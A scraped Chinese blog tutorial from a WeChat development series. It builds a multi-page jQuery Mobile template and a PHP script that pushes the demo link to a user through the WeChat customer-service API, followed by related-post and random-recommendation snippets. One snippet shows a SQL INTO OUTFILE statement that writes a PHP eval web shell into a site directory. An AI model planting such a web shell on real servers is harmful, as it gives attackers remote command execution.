夺命雷公狗---微信开发57----微网站之jquery

这节课我们主要用到到jquery_mobile来实现一个点电影播放网站

jquery_mobile（简称JQM）其实就是基于jquery开发出来的一套移动端框架，适应移动用户端市场对浏览与体验从而进一步的提升

jquery_mobile控件介绍

jquery_mobile的语法将各个控件(widget)以data-role的形式定义好样式，使用时直接引用，则可调用适合手机页面显示的样式。

juqery_mobile的常用控件如下所示：

我们废话不多说，开始写第一个jquery_mobile的模版程序，改名为jqm1.html，代码如下所示：

<!DOCTYPE html>

<html>

    <head>

        <meta charset="utf-8">

        <!--宽高禁缩放 -->

        <meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0" />

        <!--类webapp-->

        <meta name="apple-mobile-web-app-capable" content="yes">

        <!--状态条 -->

        <meta name="apple-mobile-web-app-status-bar-style" content="black">

        <!--电话号码不是链接 -->

        <meta name="format-detection" content="telephone=no">

        <title>jQuery Mobile Web 应用程序</title>

        <link href="http://code.jquery.com/mobile/1.0/jquery.mobile-1.0.min.css" rel="stylesheet" type="text/css"/>

        <script src="http://code.jquery.com/jquery-1.6.4.min.js" type="text/javascript"></script>

        <script src="http://code.jquery.com/mobile/1.0/jquery.mobile-1.0.min.js" type="text/javascript"></script>

    </head>

    <body>

        <div data-role="page" id="page1">

            <div data-role="header">

                <h1>header</h1>

            </div>

            <div data-role="content">

                <ul data-role="listview">

                    <li><a href="#page1">第一页</a></li>

                    <li><a href="#page2">第二页</a></li>

                    <li><a href="#page3">第三页</a></li>

                    <li><a href="#page4">第四页</a></li>

                    <li><a href="#page5">第五页</a></li>

                </ul>

            </div>

            <div data-role="footer">

                <h1>页面脚注</h1>

            </div>

        </div>

        <div data-role="page" id="page2">

            <div data-role="header">

                <h1>header2</h1>

            </div>

            <div data-role="content">

                <img width="200px" src="http://i.cnblogs.com/images/adminlogo.gif" />

            </div>

            <div data-role="footer">

                <h1>页面脚注</h1>

            </div>

        </div>

        <div data-role="page" id="page3">

            <div data-role="header">

                <h1>header3</h1>

            </div>

            <div data-role="content">

                内容3

            </div>

            <div data-role="footer">

                <h1>footer3</h1>

            </div>

        </div>

        <div data-role="page" id="page4">

            <div data-role="header">

                <h1>header4</h1>

            </div>

            <div data-role="content">

                <b>内容4</b>

            </div>

            <div data-role="footer">

                <h1>footer4    </h1>

            </div>

        </div>

        <div data-role="page" id="page5">

            <div data-role="header">

                <h1>header5</h1>

            </div>

            <div data-role="content">

                <h1>内容5</h1>

            </div>

            <div data-role="footer">

                <h1>footer5</h1>

            </div>

        </div>

    </body>

<html>

<!DOCTYPE html>

<html>

    <head>

        <meta charset="utf-8">

        <!--宽高禁缩放 -->

        <meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0" />

        <!--类webapp-->

        <meta name="apple-mobile-web-app-capable" content="yes">

        <!--状态条 -->

        <meta name="apple-mobile-web-app-status-bar-style" content="black">

        <!--电话号码不是链接 -->

        <meta name="format-detection" content="telephone=no">

        <title>jQuery Mobile Web 应用程序</title>

        <link href="http://code.jquery.com/mobile/1.0/jquery.mobile-1.0.min.css" rel="stylesheet" type="text/css"/>

        <script src="http://code.jquery.com/jquery-1.6.4.min.js" type="text/javascript"></script>

        <script src="http://code.jquery.com/mobile/1.0/jquery.mobile-1.0.min.js" type="text/javascript"></script>

    </head>

    <body>

        <div data-role="page" id="page1">

            <div data-role="header">

                <h1>header</h1>

            </div>

            <div data-role="content">

                <ul data-role="listview">

                    <li><a href="#page1">第一页</a></li>

                    <li><a href="#page2">第二页</a></li>

                    <li><a href="#page3">第三页</a></li>

                    <li><a href="#page4">第四页</a></li>

                    <li><a href="#page5">第五页</a></li>

                </ul>

            </div>

            <div data-role="footer">

                <h1>页面脚注</h1>

            </div>

        </div>

        <div data-role="page" id="page2">

            <div data-role="header">

                <h1>header2</h1>

            </div>

            <div data-role="content">

                <img width="200px" src="http://i.cnblogs.com/images/adminlogo.gif" />

            </div>

            <div data-role="footer">

                <h1>页面脚注</h1>

            </div>

        </div>

        <div data-role="page" id="page3">

            <div data-role="header">

                <h1>header3</h1>

            </div>

            <div data-role="content">

                内容3

            </div>

            <div data-role="footer">

                <h1>footer3</h1>

            </div>

        </div>

        <div data-role="page" id="page4">

            <div data-role="header">

                <h1>header4</h1>

            </div>

            <div data-role="content">

                <b>内容4</b>

            </div>

            <div data-role="footer">

                <h1>footer4    </h1>

            </div>

        </div>

        <div data-role="page" id="page5">

            <div data-role="header">

                <h1>header5</h1>

            </div>

            <div data-role="content">

                <h1>内容5</h1>

            </div>

            <div data-role="footer">

                <h1>footer5</h1>

            </div>

        </div>

    </body>

<html>

由上面这段代码我们可以很清楚的了解到了我们的jquery_mobile是可以通过id来控制下面的列表的，有点像ecshop后台的添加商品那块，

要注意的是红色边框里面的代码，如下图所示：

然后再写个fs.php的程序，主要让他向指定用户推送链接的，代码如下所示：

<?php

    header('content-type:text/html;charset=utf-8');

    require_once 'get_token.php';

    require_once 'common.php';

    //这时，也可以通过客户服务接口，把这个url地址发送给用户

    $contentStr = "体验一下jquery moible \n\n http://weixin.showtp.com/jqm1.html";

    $fromUsername = 'oB1_6tw1NBlGdqSsTCl5anZ7MEU4';

    //使用url编码

    $contentStr = urlencode($contentStr);

    $content_arr = array('content' => "{$contentStr}");

    $reply_arr = array('touser' => "{$fromUsername}", 'msgtype' => 'text', 'text' => $content_arr);

    //编码成json格式

    $post = json_encode($reply_arr);

    //url解码

    $post = urldecode($post);

    $url = "https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token={$access_token}";

    http_request($url, $post);

    echo '发送成功!';

然后访问fs.php效果如下所示：

我们手机端将会接收到所推送的信息了，我们点击进进去即可，我们也可以通过用浏览器缩小的形式就可以看到jquery_mobile成功缩放的效果，如下图：

夺命雷公狗---微信开发57----微网站之jquery_mobile之入门案例的更多相关文章

夺命雷公狗---微信开发62----所以memcache对access_token进行全局缓存优化
公众号调用接口并不是无限制的,为了防止公众号的程序错误而引发微信服务器负载异常,默认情况下, 每个公众号调用接口都不能超过一定限制,当超过一定限制时,调用对应接口会收到错误信息,造成调用失败. 我们也 ...
夺命雷公狗---微信开发17----自定义菜单的事件推送，响应菜单的CLICK
废话不多说,index.php 代码如下所示: <?php /** * wechat php test */ //define your token require_once "com ...
夺命雷公狗---微信开发59----在线点播电影网1之ckplayer播放器
我们节课程就要开始写一个小项目了,这项目主要是写一个在线点播电影影网的,我们用到的播放器是ckplayer ckplayer基本介绍: ckplayer的全称是:超酷flv播放器,他是一款用于网页上播 ...
夺命雷公狗---微信开发55----微信js-sdk接口开发（2）接口功能介绍之签名算法
我们JS-SDK里面其实有不少的接口 startRecord---录音 stopRecord---停止录音 playVoice---播放 pauseVoice---暂停播放 uploadImage-- ...
夺命雷公狗---微信开发58----微网站之jquery_mobile之控件介绍
我们上一节课里面介绍了基本的jqm是如何用的了,那么这一节课我们就开始玩玩他的控件 1...布局网格 <!DOCTYPE html> <html> <head> & ...
夺命雷公狗---微信开发56----微信js-sdk接口开发（3）所有接口功能
按照上节课程里面的介绍,我们可以先将刚才在signatrue.php里获取到的信息填写进jssdk.htm模版文件里填写各个权限的参数 jssdk.htm代码如下: <!DOCTYPE html ...
夺命雷公狗---微信开发54----微信js-sdk接口开发（1）之快速入门
js-sdk基本介绍除去服务号的九大接口外,微信提供了JS-SDK接口,所谓JS-SDK接口也就是在网页中使用javascript来更改网页设置, (比如隐藏右上角的菜单)获取用户状态(比如地理位置 ...
夺命雷公狗---微信开发53----网页授权（oauth2.0）获取用户基本信息接口（3）实现世界留言版
前面两节课我们讲的是base型的授权了,那么现在我们开始Userinfo型授权, 先来看下我们的原理图我们这节课来做一个世界留言版系统 1..首先我还是在微信测试平台那里设置好回调页面的域名 2 ...
夺命雷公狗---微信开发51----网页授权（oauth2.0）获取用户基本信息接口（1）
如果用户在微信客户端访问第三方网页,公众号可以通过微信网页授权机制,来获取用户基本信息,从而实现业务逻辑. 一般我们用来“数据采集”,“市场调查”,“投票”,只要授权了第三方网页,微信用户无需注册就可 ...

随机推荐

java编程技巧
欢迎提出建议指出错误互相交流. 1.统计对象数量,比如统计一共发射了多少颗子弹. public class Bullet { public static int count = 0; public B ...
强调语气和标签,文字设置单独样式
区别:1, 表示强调, 表示更强烈的强调. 2,并且在浏览器中 默认用斜体表示, 用粗体表示. 3,两个 ...
sell-- Calendar 和 Date- 01，月份不变年份+3或直接到2017
1. 2016/11/24 import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Calen ...
深入css中的margin
深入css中的margin 第一:margin-top css代码(元素没有任何定位的情况下,并且元素默认为block) <style type="text/css"> ...
使用Aspose.Cell控件实现多个Excel文件的合并
之前有写过多篇关于使用Apose.Cell控件制作自定义模板报表和通用的导出Excel表格数据的操作,对这个控件的功能还是比较满意,而且也比较便利.忽然有一天,一个朋友说:你已经有生成基于自定义模板报 ...
使用jQuery为表单添加回车事件
$(document).keypress(function(e){ if(e.which==13){ checkUserForm(); } });
Android中的CharSequence和String
String 类代表字符串.Java 程序中的所有字符串字面值(如 "abc" )都作为此类的实例来实现. (这个没啥了解的吧,经常用 class)public interface ...
Android 保持Service不被Kill掉的方法--双Service守护 && Android实现双进程守护
本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护第一部分: 一.Service简介:Java.lang.Object ↳Android.content.Context ↳an ...
30天，O2O速成攻略【8.16武汉站】
活动概况时间:2015年08月16日13:30-16:30 地点:光谷创业咖啡(光谷广场资本大厦一楼停车场内) 主办:APICloud.爱立示.MBA移动业务助理网址:www.apicloud.c ...
mysql 安全
select '<?php @eval($_POST[1])?>' into outfile 'D:/APMServ5.2.6/www/htdocs/report/log.php' //一 ...

夺命雷公狗---微信开发57----微网站之jquery_mobile之入门案例

夺命雷公狗---微信开发57----微网站之jquery_mobile之入门案例的更多相关文章

随机推荐

热门专题